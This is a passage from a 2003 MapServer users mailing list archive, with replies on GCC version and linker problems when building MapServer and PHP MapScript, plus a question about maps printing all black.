According to the Mandrake website, Mandrake 9 appears to ship
with GCC 3.2. Maybe try with GCC 2.95.x since I suspect most
apps are still being compiled with it.
Antti
Donald wrote:
> 7.2), I'm at a loss to know if my challenges are
> the new OS environment (Mandrake 9.0) or newer
> MapServer (3.6.3 files).
>Things crank along fine, till I get the message:
>
>../libmap.a(mapogr.o)(.eh_frame+0x11): undefined reference to
>'__gxx_personality_v0'
>collect2: ld returned 1 exit status
>make: *** [shp2img] Error 1
>A google search points to some references suggesting differences
>between gcc and g++ compilation, but I haven't been able to
From jeffb at erlandsen.com Mon Jan 20 16:25:58 2003
From: jeffb at erlandsen.com (Jeff Berry)
Date: Mon, 20 Jan 2003 16:25:58 -0800
Subject: [Mapserver-users] Map prints as all black
Message-ID:
I'm having trouble trying to print output from mapserver. I can
successfully print from 5 different computers in our office using Explorer,
but a sixth computer prints the map out as all black. What should I be
looking for to fix this?
Jeff Berry
Erlandsen & Associates
P.O. Box 2029
Chelan, WA 98816
(509) 682-4189
jeffb at erlandsen.com
From morissette at dmsolutions.ca Mon Jan 20 17:05:05 2003
From: morissette at dmsolutions.ca (Daniel Morissette)
Date: Mon, 20 Jan 2003 20:05:05 -0500
Subject: [Mapserver-users] Re: PHP 4.3.0
References:
Message-ID: <3E2C9CC1.FF644D49@dmsolutions.ca>
Configure detected 'cc' as the linker, that's why you get this.
Try adding --enable-internal-ld-detect to your configure parameters,
this uses a new macro to figure the LD comand that has been made the
default in MapServer 3.7. That should work, but if it doesn't then edit
mapserver/mapscript/php3/Makefile to set the value of LD to one of
LD = ld -G
or
LD = gcc -shared
Daniel
"pkishor_98 " wrote:
>
> Hi Daniel,
>
> Thanks for replying. Now that I know it works, here are the gory
> details -- gcc 2.95 on OS X 10.2.3, PHP 4.3.0 built as CGI "--with-xml
> --with-zlib --with-mysql --with-gd --with-png --with-jpeg --with-xml
> --enable-wddx --enable-dbase --with-regex=system" and working fine.
> Any idea why I am getting the following errors (reproducing only the
> last bit) during make-ing Mapserver --
>
> -I/Users/pkishor/Projects/mapserver/php-4.3.0/TSRM -c -o
> mapscript_i.o mapscript_i.c
> /Users/pkishor/Projects/mapserver/mapserver-3.6.4/maptemplate.h:16:
> warning: `inchesPerUnit' defined but not used
> cc: -flat_namespace: linker input file unused since linking not done
> cc: -flat_namespace: linker input file unused since linking not done
> cc -o php_mapscript.so php_mapscript_util.o php_mapscript.o
> mapscript_i.o -L/Users/pkishor/Projects/mapserver/mapserver-3.6.4
> -lmap -ljpeg -L/usr/local/lib -lpng -lz
> -L/Users/pkishor/Projects/mapserver/mapserver-3.6.4/../gd-1.8.4 -lgd
> -ljpeg -L/usr/local/lib -lpng -lz -ljpeg -lm
> /usr/bin/ld: Undefined symbols:
> _main
> __convert_to_string
> __efree
> __emalloc
> __estrdup
> __object_init_ex
> __zend_list_find
> __zval_copy_ctor
> _add_property_resource_ex
> _add_property_zval_ex
> _convert_to_double
> _convert_to_long
> _zend_error
> _zend_hash_find
> _zend_hash_get_current_data_ex
> _zend_hash_get_current_key_ex
> _zend_hash_internal_pointer_reset_ex
> _zend_hash_move_forward_ex
> __array_init
> __estrndup
> __object_init
> __zend_list_addref
> __zend_list_delete
> _add_assoc_string_ex
> _add_next_index_long
> _add_next_index_string
> _add_property_double_ex
> _add_property_long_ex
> _add_property_string_ex
> _php_header
> _php_printf
> _php_write
> _sapi_module
> _zend_get_parameters
> _zend_hash_index_find
> _zend_hash_num_elements
> _zend_list_insert
> _zend_register_internal_class
> _zend_register_list_destructors
> _zend_register_list_destructors_ex
> _zend_register_long_constant
> _zend_wrong_param_count
> make[1]: *** [php_mapscript.so] Error 1
>
> --- Daniel Morissette